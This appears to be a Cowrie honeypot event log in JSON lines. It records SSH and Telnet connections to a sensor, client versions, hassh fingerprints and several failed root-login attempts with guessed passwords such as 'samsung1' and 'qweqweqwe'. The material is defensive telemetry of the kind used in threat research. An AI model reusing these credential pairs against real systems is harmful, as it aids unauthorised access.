{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:00.496498Z","src_ip":"102.210.148.92","session":"34c19c849cb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:00.751492Z","src_ip":"102.210.148.92","session":"34c19c849cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":53364,"dst_ip":"159.203.135.109","dst_port":22,"session":"df31ba701e23","protocol":"ssh","message":"New connection: 43.156.28.136:53364 (159.203.135.109:22) [session: df31ba701e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:01.601859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:01.607077Z","src_ip":"43.156.28.136","session":"df31ba701e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhangbin","password":"zhangbin","message":"login attempt [zhangbin/zhangbin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:01.785594Z","src_ip":"102.210.148.92","session":"34c19c849cb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:01.855586Z","src_ip":"43.156.28.136","session":"df31ba701e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsxcde3","message":"login attempt [root/ZAQ!2wsxcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:02.875402Z","src_ip":"43.156.28.136","session":"df31ba701e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:03.040532Z","src_ip":"102.210.148.92","session":"34c19c849cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47266,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f709d908b12","protocol":"telnet","message":"New connection: 152.42.224.71:47266 (10.17.0.5:23) [session: 8f709d908b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:03.066985Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":45946,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6c6db4dfcc4","protocol":"ssh","message":"New connection: 103.77.175.15:45946 (10.17.0.5:22) [session: c6c6db4dfcc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:03.504692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:03.510480Z","src_ip":"103.77.175.15","session":"c6c6db4dfcc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:03.764689Z","src_ip":"103.77.175.15","session":"c6c6db4dfcc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:04.125795Z","src_ip":"43.156.28.136","session":"df31ba701e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samsung1","message":"login attempt [root/samsung1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:04.532243Z","src_ip":"103.77.175.15","session":"c6c6db4dfcc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":37290,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a4f5d9c5609","protocol":"telnet","message":"New connection: 209.127.178.212:37290 (159.203.135.109:23) [session: 6a4f5d9c5609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:04.645225Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:05.789688Z","src_ip":"103.77.175.15","session":"c6c6db4dfcc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.352010250091553,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:07.213091Z","src_ip":"152.42.224.71","session":"63044e599bea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":57182,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc6f3f2f4d42","protocol":"ssh","message":"New connection: 103.75.182.198:57182 (10.17.0.5:22) [session: cc6f3f2f4d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:08.503828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:08.514439Z","src_ip":"103.75.182.198","session":"cc6f3f2f4d42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:08.764419Z","src_ip":"103.75.182.198","session":"cc6f3f2f4d42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweqweqwe","message":"login attempt [root/qweqweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:09.485859Z","src_ip":"103.75.182.198","session":"cc6f3f2f4d42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:10.729390Z","src_ip":"103.75.182.198","session":"cc6f3f2f4d42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":44868,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fd044c82ab3","protocol":"ssh","message":"New connection: 103.188.177.46:44868 (159.203.135.109:22) [session: 3fd044c82ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:11.957306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:11.962407Z","src_ip":"103.188.177.46","session":"3fd044c82ab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:12.199770Z","src_ip":"103.188.177.46","session":"3fd044c82ab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nl123456","message":"login attempt [root/Nl123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:13.176348Z","src_ip":"103.188.177.46","session":"3fd044c82ab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:14.417453Z","src_ip":"103.188.177.46","session":"3fd044c82ab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.54481816291809,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:15.520725Z","src_ip":"152.42.224.71","session":"40ef8bd60b48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":60548,"dst_ip":"159.203.135.109","dst_port":22,"session":"a17c45e85bb0","protocol":"ssh","message":"New connection: 43.133.62.188:60548 (159.203.135.109:22) [session: a17c45e85bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:25.253948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:25.259025Z","src_ip":"43.133.62.188","session":"a17c45e85bb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:25.505029Z","src_ip":"43.133.62.188","session":"a17c45e85bb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456..","message":"login attempt [root/Aa@123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:26.521185Z","src_ip":"43.133.62.188","session":"a17c45e85bb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.746854782104492,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:26.795310Z","src_ip":"152.42.224.71","session":"0e87e334c85d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:27.770388Z","src_ip":"43.133.62.188","session":"a17c45e85bb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":37406,"dst_ip":"159.203.135.109","dst_port":22,"session":"60677bbe70f3","protocol":"ssh","message":"New connection: 193.37.70.224:37406 (159.203.135.109:22) [session: 60677bbe70f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:28.126398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:28.131516Z","src_ip":"193.37.70.224","session":"60677bbe70f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:28.225066Z","src_ip":"193.37.70.224","session":"60677bbe70f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undertaker","message":"login attempt [root/undertaker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:28.512505Z","src_ip":"193.37.70.224","session":"60677bbe70f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:29.609647Z","src_ip":"193.37.70.224","session":"60677bbe70f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.37.39","src_port":60158,"dst_ip":"10.17.0.5","dst_port":22,"session":"282716190f0d","protocol":"ssh","message":"New connection: 43.153.37.39:60158 (10.17.0.5:22) [session: 282716190f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:30.133695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:30.140954Z","src_ip":"43.153.37.39","session":"282716190f0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:30.211104Z","src_ip":"43.153.37.39","session":"282716190f0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfghjk","message":"login attempt [root/asdfghjk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:30.518908Z","src_ip":"43.153.37.39","session":"282716190f0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:31.591510Z","src_ip":"43.153.37.39","session":"282716190f0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.23333930969238,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:35.542930Z","src_ip":"152.42.224.71","session":"b0f3d8c0ba85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.45366144180298,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:59:37.098742Z","src_ip":"209.127.178.212","session":"6a4f5d9c5609","protocol":"telnet"}
